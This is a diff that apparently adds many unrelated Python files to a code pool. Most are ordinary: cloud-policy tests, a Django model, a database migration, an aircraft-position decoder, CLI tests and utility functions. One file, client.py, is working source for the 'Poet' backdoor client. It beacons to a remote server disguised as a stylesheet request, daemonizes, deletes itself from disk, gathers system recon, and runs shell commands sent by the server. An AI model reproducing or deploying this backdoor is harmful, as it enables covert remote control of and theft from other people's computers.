+ self.assertEqual(len(resources), 1) + + def test_unused_ami_true(self): + factory = self.replay_flight_data('test_unused_ami_true') + p = self.load_policy({ + 'name': 'test-unused-ami', + 'resource': 'ami', + 'filters': ['unused'] + }, session_factory=factory) + resources = p.run() + self.assertEqual(len(resources), 1) + + def test_unused_ami_false(self): + factory = self.replay_flight_data('test_unused_ami_false') + p = self.load_policy({ + 'name': 'test-unused-ami', + 'resource': 'ami', + 'filters': [{ + 'type': 'unused','value': False}] + }, session_factory=factory) + resources = p.run() + self.assertEqual(len(resources), 1) diff --git a/pool/shard000/Python/0008147_listsystems.py b/pool/shard000/Python/0008147_listsystems.py new file mode 100644 index 0000000000000000000000000000000000000000..f1b53faa1c0f3ca44569c328b83554855536027a --- /dev/null +++ b/pool/shard000/Python/0008147_listsystems.py @@ -0,0 +1,32 @@ +###################################################################### +# pyrat - An Eve Online PvE analyser +# Copyright (C) 2017 Instigo Pares [SUAD] +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# If you need to, contact me on reddit @ /u/instigo +###################################################################### + +import csv + + +# Function to generate list of systems in specified region from csv file +def pull_systems(region): + systems = [] + regid = region[0] + with open('../resources/mapSolarSystems.csv', newline='') as csvfile: + syslist = csv.reader(csvfile, delimiter=',', quotechar='|') + for row in syslist: + if regid == row[0]: + systems.append(row[1]) + return systems diff --git a/pool/shard000/Python/0008154_models.py b/pool/shard000/Python/0008154_models.py new file mode 100644 index 0000000000000000000000000000000000000000..cf6cea45e99a74c58805e0e8ce0ab5cf78a35267 --- /dev/null +++ b/pool/shard000/Python/0008154_models.py @@ -0,0 +1,35 @@ +from django.db import models + +from six import python_2_unicode_compatible + + +@python_2_unicode_compatible +class TModel(models.Model): + name = models.CharField(max_length=200) + + test = models.ForeignKey( + 'self', + models.CASCADE, + null=True, + blank=True, + related_name='related_test_models' + ) + + owner = models.ForeignKey( + 'auth.user', + models.CASCADE, + null=True, + blank=True, + related_name='owned_linked_models', + ) + + for_inline = models.ForeignKey( + 'self', + models.CASCADE, + null=True, + blank=True, + related_name='inline_test_models' + ) + + def __str__(self): + return self.name diff --git a/pool/shard000/Python/0008155_563f582d07fa_.py b/pool/shard000/Python/0008155_563f582d07fa_.py new file mode 100644 index 0000000000000000000000000000000000000000..fe60443293b47acdf615605ed5f40a04fb5260bf --- /dev/null +++ b/pool/shard000/Python/0008155_563f582d07fa_.py @@ -0,0 +1,26 @@ +"""empty message + +Revision ID: 563f582d07fa +Revises: 1a9f196d43b2 +Create Date: 2015-08-17 18:06:50.928876 + +""" + +# revision identifiers, used by Alembic. +revision = '563f582d07fa' +down_revision = '1a9f196d43b2' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.add_column('participant', sa.Column('is_invited', sa.Boolean(), nullable=True)) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_column('participant', 'is_invited') + ### end Alembic commands ### diff --git a/pool/shard000/Python/0008169_repositories.py b/pool/shard000/Python/0008169_repositories.py new file mode 100644 index 0000000000000000000000000000000000000000..46949dee325d3da81bcb7ecbf1aaade4cccede30 --- /dev/null +++ b/pool/shard000/Python/0008169_repositories.py @@ -0,0 +1,45 @@ +from __future__ import absolute_import + +from sentry.constants import ObjectStatus +from sentry.models import Repository + + +class RepositoryMixin(object): + # whether or not integration has the ability to search through Repositories + # dynamically given a search query + repo_search = False + + def get_repositories(self, query=None): + """ + Get a list of availble repositories for an installation + + >>> def get_repositories(self): + >>> return self.get_client().get_repositories() + + return [{ + 'name': display_name, + 'identifier': external_repo_id, + }] + + The shape of the `identifier` should match the data + returned by the integration's + IntegrationRepositoryProvider.repository_external_slug() + """ + raise NotImplementedError + + def get_unmigratable_repositories(self): + return [] + + def reinstall_repositories(self): + """ + reinstalls repositories associated with the integration + """ + organizations = self.model.organizations.all() + Repository.objects.filter( + organization_id__in=organizations.values_list("id", flat=True), + provider="integrations:%s" % self.model.provider, + integration_id=self.model.id, + ).update(status=ObjectStatus.VISIBLE) + + def has_repo_access(self, repo): + raise NotImplementedError diff --git a/pool/shard000/Python/0008175_cpr.py b/pool/shard000/Python/0008175_cpr.py new file mode 100644 index 0000000000000000000000000000000000000000..00c1a9629fe1b19509e6323e753522510058f06f --- /dev/null +++ b/pool/shard000/Python/0008175_cpr.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python +# +# Copyright 2010, 2012 Nick Foster +# +# This file is part of gr-air-modes +# +# gr-air-modes is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3, or (at your option) +# any later version. +# +# gr-air-modes is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with gr-air-modes; see the file COPYING. If not, write to +# the Free Software Foundation, Inc., 51 Franklin Street, +# Boston, MA 02110-1301, USA. +# + +import math, time +from exceptions import * +import coord + +#this implements CPR position decoding and encoding. +#the decoder is implemented as a class, cpr_decoder, which keeps state for local decoding. +#the encoder is cpr_encode([lat, lon], type (even=0, odd=1), and surface (0 for surface, 1 for airborne)) + +#TODO: remove range/bearing calc from CPR decoder class. you can do this outside of the decoder. + +latz = 15 + +def nz(ctype): + return 4 * latz - ctype + +def dlat(ctype): + nzcalc = nz(ctype) + if nzcalc == 0: + return 360.0 + else: + return 360.0 / nzcalc + +def nl(declat_in): + if abs(declat_in) >= 87.0: + return 1.0 + return math.floor( (2.0*math.pi) * math.acos(1.0- (1.0-math.cos(math.pi/(2.0*latz))) / math.cos( (math.pi/180.0)*abs(declat_in) )**2 )**-1) + +def dlon(declat_in, ctype): + nlcalc = max(nl(declat_in)-ctype, 1) + return 360.0 / nlcalc + +def decode_lat(enclat, ctype, my_lat): + tmp1 = dlat(ctype) + tmp2 = float(enclat) / (2**17) + j = math.floor(my_lat/tmp1) + math.floor(0.5 + ((my_lat % tmp1) / tmp1) - tmp2) + + return tmp1 * (j + tmp2) + +def decode_lon(declat, enclon, ctype, my_lon): + tmp1 = dlon(declat, ctype) + tmp2 = float(enclon) / (2**17) + m = math.floor(my_lon / tmp1) + math.floor(0.5 + ((my_lon % tmp1) / tmp1) - tmp2) + + return tmp1 * (m + tmp2) + +def cpr_resolve_local(my_location, encoded_location, ctype): + [my_lat, my_lon] = my_location + [enclat, enclon] = encoded_location + + if my_location is None: + raise CPRNoPositionError + + decoded_lat = decode_lat(enclat, ctype, my_lat) + decoded_lon = decode_lon(decoded_lat, enclon, ctype, my_lon) + + return [decoded_lat, decoded_lon] + +def cpr_resolve_global(evenpos, oddpos, mostrecent): + + dlateven = dlat(0) + dlatodd = dlat(1) + + evenpos = [float(evenpos[0]), float(evenpos[1])] + oddpos = [float(oddpos[0]), float(oddpos[1])] + + j = math.floor(((nz(1)*evenpos[0] - nz(0)*oddpos[0])/2**17) + 0.5) #latitude index + + rlateven = dlateven * ((j % nz(0))+evenpos[0]/2**17) + rlatodd = dlatodd * ((j % nz(1))+ oddpos[0]/2**17) + + #limit to -90, 90 + if rlateven > 270.0: + rlateven -= 360.0 + if rlatodd > 270.0: + rlatodd -= 360.0 + + #This checks to see if the latitudes of the reports straddle a transition boundary + #If so, you can't get a globally-resolvable location. + if nl(rlateven) != nl(rlatodd): + raise CPRBoundaryStraddleError + + if mostrecent == 0: + rlat = rlateven + else: + rlat = rlatodd + + dl = dlon(rlat, mostrecent) + nl_rlat = nl(rlat) + + m = math.floor(((evenpos[1]*(nl_rlat-1)-oddpos[1]*nl_rlat)/2**17)+0.5) #longitude index + + #when surface positions straddle a disambiguation boundary (90 degrees), + #surface decoding will fail. this might never be a problem in real life, but it'll fail in the + #test case. the documentation doesn't mention it. + + if mostrecent == 0: + enclon = evenpos[1] + else: + enclon = oddpos[1] + + rlon = dl * ((m % max(nl_rlat-mostrecent,1)) + enclon/2.**17) + + #limit to (-180, 180) + if rlon > 180: + rlon -= 360.0 + + return [rlat, rlon] + +class cpr_decoder: + def __init__(self, my_location=None): + self.my_location = my_location + self.evenlist = {} + self.oddlist = {} + self.locations = {} + + def set_location(self, new_location): + self.my_location = new_location + + def weed_poslists(self, timestamp=None): + for poslist in [self.evenlist, self.oddlist]: + for key, item in poslist.items(): + if (timestamp or time.time()) - item[2] > 10: + del poslist[key] + + for key, item in self.locations.items(): + if (timestamp or time.time()) - item[2] > 300: + del self.locations[key] + + def decode(self, icao24, encoded_lat, encoded_lon, cpr_format, timestamp=None, use_local=True): + + #add the info to the position reports list for global decoding + if cpr_format==1: + self.oddlist[icao24] = [encoded_lat, encoded_lon, timestamp or time.time()] + else: + self.evenlist[icao24] = [encoded_lat, encoded_lon, timestamp or time.time()] + + #okay, let's traverse the lists and weed out those entries that are older than 10 seconds + self.weed_poslists(timestamp) + + if (icao24 in self.evenlist) \ + and (icao24 in self.oddlist) \ + and (icao24 not in self.locations): + #figure out which report is newer + newer = (self.oddlist[icao24][2] - self.evenlist[icao24][2]) > 0 + [glat, glon] = cpr_resolve_global(self.evenlist[icao24][0:2], + self.oddlist[icao24][0:2], + newer) #do a global decode + + # plausability check: range is unlikely to be more than 500km + if coord.haversine(self.my_location, [glat, glon]) > 500000: +# print "Warning: avoided wrong global decoding." + raise CPRNoPositionError + + if not use_local: + return [glat, glon] # activate this to exclusively use global decoding + self.locations[icao24] = [glat, glon, timestamp or time.time()] + + + if icao24 in self.locations: + location = self.locations[icao24][0:2] + else: + location = self.my_location + + [llat, llon] = cpr_resolve_local(location, + [encoded_lat, encoded_lon], + cpr_format) + if icao24 in self.locations \ + or use_local and coord.haversine(self.my_location, [llat, llon]) < 300000: # simple local decoding for close flight is ok + self.locations[icao24] = [llat, llon, timestamp or time.time()] + else: + raise CPRNoPositionError + + return [llat, llon] + +#encode CPR position +def cpr_encode(lat, lon, ctype, surface): + if surface is True: + scalar = 2.**19 + else: + scalar = 2.**17 + + #encode using 360 constant for segment size. + dlati = dlat(ctype, False) + yz = math.floor(scalar * ((lat % dlati)/dlati) + 0.5) + rlat = dlati * ((yz / scalar) + math.floor(lat / dlati)) + + #encode using 360 constant for segment size. + dloni = dlon(lat, ctype, False) + xz = math.floor(scalar * ((lon % dloni)/dloni) + 0.5) + + yz = int(yz) & (2**17-1) + xz = int(xz) & (2**17-1) + + return (yz, xz) #lat, lon diff --git a/pool/shard000/Python/0008177_test_arguments.py b/pool/shard000/Python/0008177_test_arguments.py new file mode 100644 index 0000000000000000000000000000000000000000..510e14c9ff9e141c0f54cac7c63a173c416abc19 --- /dev/null +++ b/pool/shard000/Python/0008177_test_arguments.py @@ -0,0 +1,163 @@ +import logging +import os + +from juju.errors import JujuError +from juju.hooks.cli import CommandLineClient +from juju.lib.testing import TestCase + + +class TestArguments(TestCase): + """ + Test verifying the standard argument parsing and handling used + by cli hook tools functions properly. + """ + def setup_environment(self): + self.change_environment( + JUJU_AGENT_SOCKET="/tmp/juju_agent_socket", + JUJU_CLIENT_ID="xyzzy") + self.change_args("test-script") + + def test_usage(self): + output = self.capture_stream("stdout") + cli = CommandLineClient() + cli.setup_parser() + + cli.parser.print_usage() + + # test for the existence of a std argument to + # ensure function + self.assertIn("-s SOCKET", output.getvalue()) + + def test_default_socket_argument(self): + """ + verify that the socket argument is accepted from a command + line flag, or the environment or raises an error. + """ + self.setup_environment() + os.environ.pop("JUJU_AGENT_SOCKET", None) + + cli = CommandLineClient() + cli.setup_parser() + + options = cli.parse_args("-s /tmp/socket".split()) + self.assertEquals(options.socket, "/tmp/socket") + + # now set the environment variable to a known state + os.environ["JUJU_AGENT_SOCKET"] = "/tmp/socket2" + + options = cli.parse_args() + self.assertEquals(options.socket, "/tmp/socket2") + + err = self.capture_stream("stderr") + os.environ.pop("JUJU_AGENT_SOCKET", None) + error = self.failUnlessRaises(SystemExit, cli.parse_args) + self.assertEquals(str(error), + "No JUJU_AGENT_SOCKET/-s option found") + self.assertIn("No JUJU_AGENT_SOCKET/-s option found", + err.getvalue()) + + def test_single_keyvalue(self): + """ + Verify that a single key/vaule setting can be properly read + from the command line. + """ + self.setup_environment() + cli = CommandLineClient() + cli.keyvalue_pairs = True + cli.setup_parser() + + options = cli.parse_args(["foo=bar"]) + self.assertEqual(options.keyvalue_pairs["foo"], "bar") + + # need to verify this is akin to the sys.argv parsing that + # will occur with single and double quoted strings around + # foo's right hand side + options = cli.parse_args(["foo=bar none"]) + self.assertEqual(options.keyvalue_pairs["foo"], "bar none") + + def test_multiple_keyvalue(self): + self.setup_environment() + cli = CommandLineClient() + cli.keyvalue_pairs = True + cli.setup_parser() + + options = cli.parse_args(["foo=bar", "baz=whatever"]) + self.assertIn(("foo", "bar"), options.keyvalue_pairs.items()) + self.assertIn(("baz", "whatever"), options.keyvalue_pairs.items()) + + def test_without_keyvalue_flag(self): + self.setup_environment() + output = self.capture_stream("stderr") + + cli = CommandLineClient() + cli.keyvalue_pairs = False + cli.setup_parser() + + # exit with the proper error code and make sure a message + # appears on stderr + error = self.assertRaises(SystemExit, cli.parse_args, ["foo=bar"]) + self.assertEqual(error.code, 2) + self.assertIn("unrecognized arguments: foo=bar", + output.getvalue()) + + def test_bad_keyvalue_pair(self): + self.setup_environment() + cli = CommandLineClient() + cli.keyvalue_pairs = True + cli.setup_parser() + + options = cli.parse_args(["foo=bar", "baz=whatever", "xxx=", + "yyy=", "zzz=zzz"]) + self.assertIn(("foo", "bar"), options.keyvalue_pairs.items()) + self.assertIn(("baz", "whatever"), options.keyvalue_pairs.items()) + + def test_fileinput(self): + self.setup_environment() + filename = self.makeFile("""This is config""") + + # the @ sign maps to an argparse.File + cli = CommandLineClient() + cli.keyvalue_pairs = True + cli.default_mode = "rb" + cli.setup_parser() + + options = cli.parse_args(["foo=@%s" % filename]) + contents = options.keyvalue_pairs["foo"] + + self.assertEquals("This is config", contents) + + def test_fileinput_missing_file(self): + self.setup_environment() + filename = "missing" + # the @ sign maps to an argparse.File + cli = CommandLineClient() + cli.keyvalue_pairs = True + cli.default_mode = "rb" + cli.setup_parser() + + # files in read-mode must exist at the time of the parse + self.assertRaises(JujuError, cli.parse_args, + ["foo=@%s" % filename]) + + def test_fileoutput(self): + self.setup_environment() + filename = self.makeFile() + cli = CommandLineClient() + cli.setup_parser() + + options = cli.parse_args(["-o", filename]) + # validate that the output file + output = options.output + self.assertInstance(output, file) + self.assertEquals(output.mode, "wb") + + def test_logging(self): + self.setup_environment() + + cli = CommandLineClient() + cli.keyvalue_pairs = True + cli.setup_parser() + + options = cli.parse_args(["foo=bar", "--log-level", "info"]) + cli.setup_logging() + self.assertEquals(options.log_level, logging.INFO) diff --git a/pool/shard000/Python/0008189_client.py b/pool/shard000/Python/0008189_client.py new file mode 100644 index 0000000000000000000000000000000000000000..2b7a7007b0d0382658e4f346f8eb08c208003daf --- /dev/null +++ b/pool/shard000/Python/0008189_client.py @@ -0,0 +1,258 @@ +#!/usr/bin/python2.7 + +import os +import sys +import time +import base64 +import socket +import os.path +import urllib2 +import argparse +import subprocess as sp + +import debug +import module +import config as CFG +from poetsocket import * + +UA = 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11' + +if __file__.endswith('.py'): + CLIENT_PATH = os.path.abspath(__file__) +else: + CLIENT_PATH = os.path.dirname(os.path.abspath(__file__)) + + +class PoetSocketClient(PoetSocket): + def __init__(self, host, port): + self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.s.connect((host, port)) + super(PoetSocketClient, self).__init__(self.s) + + +class PoetClient(object): + """Core client functionality. + + Receives commands from server, does bidding, responds. + + Note: In any function with `inp' as a parameter, `inp' refers to the + command string sent from the server. + + Attributes: + host: server ip address + port: server port + """ + + def __init__(self, host, port): + self.host = host + self.port = port + self.s = None + + def start(self): + """Core Poet client functionality.""" + + self.s = PoetSocketClient(self.host, self.port) + while True: + try: + found = False + inp = self.s.recv() + + if inp == 'fin': + found = True + break + + for cmd, func in module.client_commands.iteritems(): + if inp.split()[0] == cmd: + found = True + try: + func(self, inp) + except Exception as e: + self.s.send(str(e.args)) + + if not found: + self.s.send('Unrecognized') + except socket.error as e: + if e.message == 'too much data!': + self.s.send('posh : ' + e.message) + else: + raise + self.s.close() + + def recon(self): + """Executes recon commands.""" + + ipcmd = 'ip addr' if 'no' in self.cmd_exec('which ifconfig') else 'ifconfig' + exec_str = 'exec "whoami" "id" "uname -a" "lsb_release -a" "{}" "w" "who -a"'.format(ipcmd) + return self.execute(exec_str) + + def selfdestruct(self): + """Trampoline to execute real, global selfdestruct function. It's + global because it can be called in main. This exists so selfdestruct + can be implemented as a module. + """ + + selfdestruct() + + def get_args_interval(self): + """Helper function for chint module. + """ + + return args.interval + + def set_args_interval(self, new_interval): + """Helper function for chint module. + """ + + args.interval = new_interval + + def cmd_exec(self, cmd): + """Light wrapper over subprocess.Popen() for executing a command, + blocking on it, and returning stdout/stderr + """ + + return sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.STDOUT, + shell=True).communicate()[0] + + +def get_args(): + """ Parse arguments and return dictionary. """ + + parser = argparse.ArgumentParser() + if CFG.SERVER_IP is None: + parser.add_argument('server', metavar='IP', type=str, help='Poet Server') + if CFG.BEACON_INTERVAL is None: + parser.add_argument('interval', metavar='INTERVAL', type=int, + help='Beacon Interval, in seconds. Default: 600', + nargs='?', default=600) + parser.add_argument('-p', '--port') + parser.add_argument('--debug', action="store_true", + help="show debug messages. implies --no-daemon") + parser.add_argument('--no-daemon', action='store_true', + help="don't daemonize") + parser.add_argument('--no-selfdestruct', action='store_true', + help="don't selfdestruct") + return parser.parse_args() + + +def is_active(host, port): + """Check if server is active. + + Send HTTP GET for a fake /style.css which server will respond to if it's + alive. + + Args: + host: server ip address + port: server port + + Returns: + Boolean for server state. + """ + + try: + url = 'http://{}:{}/style.css'.format(host, port) + headers = { + 'User-Agent': UA, + 'Cookie': 'c={};'.format(base64.b64encode(CFG.AUTH)) + } + req = urllib2.Request(url, headers=headers) + f = urllib2.urlopen(req) + if f.code == 200: + return True + # shouldn't get here + return False + except urllib2.URLError: + return False + + +def selfdestruct(): + """Delete client executable from disk. + """ + + if os.path.exists(CLIENT_PATH): + os.remove(CLIENT_PATH) + + +def daemonize(): + """Daemonize client. + http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/ + """ + + # already a daemon? + if os.getppid() == 1: + return + + # break out of shell + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError: + # silently faily + sys.exit(1) + + # standard decoupling + os.setsid() # detach from terminal + os.umask(0022) # not really necessary, client isn't creating files + os.chdir('/') # so we don't block a fs from unmounting + + # denature std fd's + si = file('/dev/null', 'r') + so = file('/dev/null', 'a+') + se = file('/dev/null', 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + +def main(): + global args + args = get_args() + if CFG.SERVER_IP is not None: + args.server = CFG.SERVER_IP + if CFG.BEACON_INTERVAL is not None: + args.interval = CFG.BEACON_INTERVAL + + # dynamically load all modules. needs to be before daemonize because it + # needs to be able to open itself to find modindex.txt in package.c + # daemonize changes the cwd so the open won't work. + module.load_modules() + + # daemonize if we're not in --no-daemon or --debug mode + if not args.no_daemon and not args.debug: + daemonize() + + # disable debug messages if we're not in --debug + if not args.debug: + debug.disable() + + if not args.no_selfdestruct: + debug.info('Deleting client') + try: + selfdestruct() + except Exception as e: + # fatal + sys.exit(0) + + HOST = args.server + PORT = int(args.port) if args.port else 443 + + debug.info(('Poet started with interval of {} seconds to port {}. Ctrl-c to exit').format(args.interval, PORT)) + + try: + while True: + if is_active(HOST, PORT): + debug.info('Server is active') + PoetClient(HOST, PORT).start() + else: + debug.warn('Server is inactive') + time.sleep(args.interval) + except KeyboardInterrupt: + print + debug.err('Poet terminated') + except Exception as e: + debug.warn('Fatal error: {}'.format(e.message)) + debug.err('Poet terminated') + sys.exit(0) + +if __name__ == '__main__': + main() diff --git a/pool/shard000/Python/0008191_ExtFileVxVol.py b/pool/shard000/Python/0008191_ExtFileVxVol.py new file mode 100644 index 0000000000000000000000000000000000000000..4c0f51b468b836aa4bee462458c41a142896f6d0 --- /dev/null +++ b/pool/shard000/Python/0008191_ExtFileVxVol.py @@ -0,0 +1,142 @@ +#!/usr/bin/python3 +# +# Copyright (c) 2014-2022 The Voxie Authors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# + +import voxie +import dbus +import sys +import json +import codecs +import os + +import numpy as np + +# Copied from ctscripts +import imagearchive + +args = voxie.parser.parse_args() +context = voxie.VoxieContext(args) +instance = context.createInstance() + +if args.voxie_action != 'Import': + raise Exception('Invalid operation: ' + args.voxie_action) + +# TODO: Test whether the StorageOrder stuff work properly + +# TODO: Check checksum in iai file? + +with context.makeObject(context.bus, context.busName, args.voxie_operation, ['de.uni_stuttgart.Voxie.ExternalOperationImport']).ClaimOperationAndCatch() as op: + filename = op.Filename + + with open(filename, 'rb') as file: + jsonData = json.load(codecs.getreader('utf-8')(file)) + + if jsonData['Type'] != 'de.uni_stuttgart.Voxie.FileFormat.Volume.VxVol': + raise Exception('Expected type %s, got %s' % ( + repr('de.uni_stuttgart.Voxie.FileFormat.Volume.VxVol'), repr(jsonData['Type']))) + + if jsonData['VolumeType'] != 'Voxel': + raise Exception('Expected volume type %s, got %s' % ( + repr('Voxel'), repr(jsonData['VolumeType']))) + + dataType = (str(jsonData['DataType'][0]), int(jsonData['DataType'][1]), str(jsonData['DataType'][2])) + arrayShape = [int(jsonData['ArrayShape'][i]) for i in range(3)] + gridSpacing = [float(jsonData['GridSpacing'][i]) for i in range(3)] + volumeOrigin = [float(jsonData['VolumeOrigin'][i]) for i in range(3)] + + dataSourceType = str(jsonData['DataSourceType']) + if dataSourceType != 'ImageArchive': + raise Exception('Unknown DataSourceType: %s' % (repr(dataSourceType))) + + dataFilename = str(jsonData['DataSource']['DataFilename']) + storageOrder = [int(jsonData['DataSource']['StorageOrder'][i]) for i in range(3)] + + rawDataFilename = os.path.join(os.path.dirname(filename), dataFilename) + # iaiFilename = rawDataFilename + '.iai' + + # print (dataType) + # print (arrayShape) + # print (gridSpacing) + # print (volumeOrigin) + # print (storageOrder) + # print (rawDataFilename) + # # print (iaiFilename) + + expectedSize = [None, None, None] + for resDim in range(3): + so = storageOrder[resDim] + aso = abs(so) + if aso not in [1, 2, 3]: + raise Exception('Got invalid StorageOrder value: %s' % (so,)) + if expectedSize[aso - 1] is not None: + raise Exception('Got StorageOrder value %s multiple time' % (aso,)) + expectedSize[aso - 1] = arrayShape[resDim] + + ia = imagearchive.ImageArchive(rawDataFilename) + + if ia.count != expectedSize[2]: + raise Exception('ia.count != expectedSize[2]') + for z in range(expectedSize[2]): + info = ia.info[z] + if info['TypeName'] != dataType[0]: + raise Exception("info['TypeName'] != dataType[0]") + if int(info['TypeSize']) != dataType[1]: + raise Exception("int(info['TypeSize']) (%d) != dataType[1] (%d)" % (int(info['TypeSize']), dataType[1])) + if info['TypeEndian'] != dataType[2]: + raise Exception("info['TypeEndian'] (%s) != dataType[2] (%s)", (repr(info['TypeEndian']), repr(dataType[2]))) + if int(info['Width']) != expectedSize[0]: + raise Exception("int(info['Width']) != expectedSize[0]") + if int(info['Height']) != expectedSize[1]: + raise Exception("int(info['Height']) != expectedSize[1]") + + dataType2 = (dataType[0], dataType[1], 'native') + + with instance.CreateVolumeDataVoxel(arrayShape, dataType2, volumeOrigin, gridSpacing) as resultData: + with resultData.CreateUpdate() as update, resultData.GetBufferWritable(update) as buffer: + outData = buffer[()] + # Apply storageOrder inverted + mirror = [] + dim = [] + for i in range(3): + if storageOrder[i] < 0: + mirror.append(slice(None, None, -1)) + else: + mirror.append(slice(None, None)) + dim.append(abs(storageOrder[i]) - 1) + outData = outData[tuple(mirror)].transpose(dim) + if outData.shape != tuple(expectedSize): + raise Exception('outData.shape != tuple(expectedSize)') + + op.ThrowIfCancelled() + for z in range(expectedSize[2]): + # TODO: Avoid memory allocations here? + img = ia.readImage(z) + outData[:, :, z] = img + + op.ThrowIfCancelled() + op.SetProgress((z + 1) / expectedSize[2]) + + version = update.Finish() + with version: + op.Finish(resultData, version) + +context.client.destroy() diff --git a/pool/shard000/Python/0008195_ch04_anagram.py b/pool/shard000/Python/0008195_ch04_anagram.py new file mode 100644 index 0000000000000000000000000000000000000000..84808c9cbb4aa24c02fc0b3c9c21f10e1d67c168 --- /dev/null +++ b/pool/shard000/Python/0008195_ch04_anagram.py @@ -0,0 +1,21 @@ + + +def is_anagram(s1, s2): + s1 = ''.join(s1.lower().split()) + s2 = ''.join(s2.lower().split()) + return sorted(s1) == sorted(s2) + +# True +print(is_anagram('heart', 'earth')) +print(is_anagram('Torchwood', 'Doctor Who')) +print(is_anagram('spot', 'stop')) +print(is_anagram('silent', 'listen')) +print(is_anagram('William Shakespeare', 'I am a weakish speller')) +print(is_anagram('computer', 'cuter mop')) +print(is_anagram('a b c \t\n 1 2 3 \t\n ', '123abc\t\n')) +print('') +# False +print(is_anagram('abc', 'abd')) +print(is_anagram('play', 'pray')) +print(is_anagram('string', 'sting')) + diff --git a/pool/shard000/Python/0008198_Util.py b/pool/shard000/Python/0008198_Util.py new file mode 100644 index 0000000000000000000000000000000000000000..2e79a9a57fca0130343bf7e3a4624dd997bacaae --- /dev/null +++ b/pool/shard000/Python/0008198_Util.py @@ -0,0 +1,173 @@ +''' +Module containing a host of useful functions that do not fall into more +explicit categories. +''' +import inspect +import json +import random +import math +import os +import itertools + + +def classMethods(classType): + ''' + Given a class type, return a dictionary mapping string names of that + class's methods to the actual method. For instance + ``classMethod(LTGA)['twoParentCrossover']`` will return the + ``twoParentCrossover`` function. + + Parameters: + + - ``classType``: Specifies what class to retrieve methods for. + ''' + return dict(inspect.getmembers(classType, inspect.ismethod)) + + +def moduleClasses(module): + ''' + Given a module, return a dictionary mapping string names of that + module's classes to the actual classes. For instance + ``moduleClasses(FitnessFunction)['DeceptiveTrap']`` will return the + ``DeceptiveTrap`` class. + + Parameters: + + - ``module``: Specifies what module to retrieve classes for. + ''' + return dict(inspect.getmembers(module, inspect.isclass)) + + +def loadConfiguration(filename, fileMethod=open): + ''' + Loads a json from the given file name. Optional file method allows for + compressed files. + + Parameters: + + - ``filename``: The relative path to the file to be loaded. + - ``fileMethod``: Handler to use to open the file. Defaults to regular + open. + ''' + with fileMethod(filename, 'r') as f: + return json.load(f) + + +def loadConfigurations(filenames, fileMethod=open): + ''' + Given a list of file names, create a single dictionary containing all of + their contents. Repeated keywords will override previously encountered + values. Optional file method allows for + compressed files. + + Parameters: + + - ``filenames``: A list of relative paths to the files to be loaded. + - ``fileMethod``: Handler to use to open the file. Defaults to regular + open. + ''' + result = {} + for filename in filenames: + result.update(loadConfiguration(filename, fileMethod)) + return result + + +def saveConfiguration(filename, data, fileMethod=open): + ''' + Writes a block of json-able data to the specifed file path. + + Parameters: + + - ``filename``: The relative path to the file to be written to. + - ``data``: Data that can be converted to a json. IE dictionaries and + lists. + - ``fileMethod``: Handler to use to open the file. Defaults to regular + open. + ''' + with fileMethod(filename, 'w') as f: + json.dump(data, f) + + +def saveList(filename, data, fileMethod=open): + ''' + Write out a list of jsons in a more human readable way than + ``saveConfiguration``. + + Parameters: + + - ``filename``: The relative path to the file to be written to. + - ``data``: A list of json-able data to be written + - ``fileMethod``: Handler to use to open the file. Defaults to regular + open. + ''' + with fileMethod(filename, 'w') as f: + f.write('[' + os.linesep) + for lineNumber, line in enumerate(data): + json.dump(line, f) + if lineNumber != len(data) - 1: + f.write(",") + f.write(os.linesep) + f.write(']' + os.linesep) + + +def randomBitString(length): + ''' + Generate and return a random list of 0s and 1s. + + Parameters: + + - ``length``: The length of the list to be generated. + ''' + generated = bin(random.getrandbits(length))[2:] # String of bits + leadingZeros = '0' * (length - len(generated)) + generated + return map(int, leadingZeros) + + +def median(data, default=0): + ''' + Given a data set, return the median value. + + Parameters: + + - ``data``: The data to find the median of. + - ``default``: If ``data`` contains no information, what value should be + returned. Defaults to 0. + ''' + ordered = sorted(data) + size = len(ordered) + if size == 0: + return default + elif size % 2 == 1: + return ordered[(size - 1) / 2] + else: + return (ordered[(size / 2)] + ordered[size / 2 - 1]) / 2.0 + + +def meanstd(data): + ''' + Returns the mean and standard deviation of the given data. + + Parameters: + + - ``data``: The data to find 